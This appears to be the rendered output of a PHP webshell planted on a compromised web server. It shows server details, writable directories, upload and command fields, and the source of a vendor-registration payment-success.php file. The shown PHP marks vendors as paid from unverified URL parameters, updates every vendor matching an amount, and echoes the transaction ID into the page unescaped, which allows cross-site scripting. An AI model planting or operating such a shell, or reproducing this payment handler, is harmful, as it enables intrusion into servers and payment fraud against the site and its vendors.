403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/vendor-reg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/vendor-reg/payment-success.php
<?php
session_start();
include 'config.php'; // Include database connection

// Check if required parameters are present in the URL
if (!isset($_GET['transaction_id']) || !isset($_GET['amount'])) {
    die("Error: Missing transaction details.");
}

$transaction_id = $_GET['transaction_id'];  // Get the transaction ID
$amount = $_GET['amount'];  // Get the payment amount

// Validate the transaction (in real cases, you would verify the payment using Square's API)

// Create a database connection
$conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Assume the payment amount should match the amount passed for verification
// You can also verify this payment with Square API by checking the transaction status

// Update the vendor�s payment status in the database
$sql = "UPDATE vendors SET payment_status = 'paid', transaction_id = ? WHERE amount = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("si", $transaction_id, $amount);

// Execute the query
if ($stmt->execute()) {
    echo "<h2>Thank you! Your payment has been successfully processed.</h2>";
    echo "<p>Transaction ID: $transaction_id</p>";
    echo "<p>Amount Paid: $$amount</p>";
} else {
    echo "<h2>Oops! Something went wrong with processing your payment.</h2>";
    echo "<p>Please contact support with the transaction ID: $transaction_id</p>";
}

// Close the connection
$stmt->close();
$conn->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit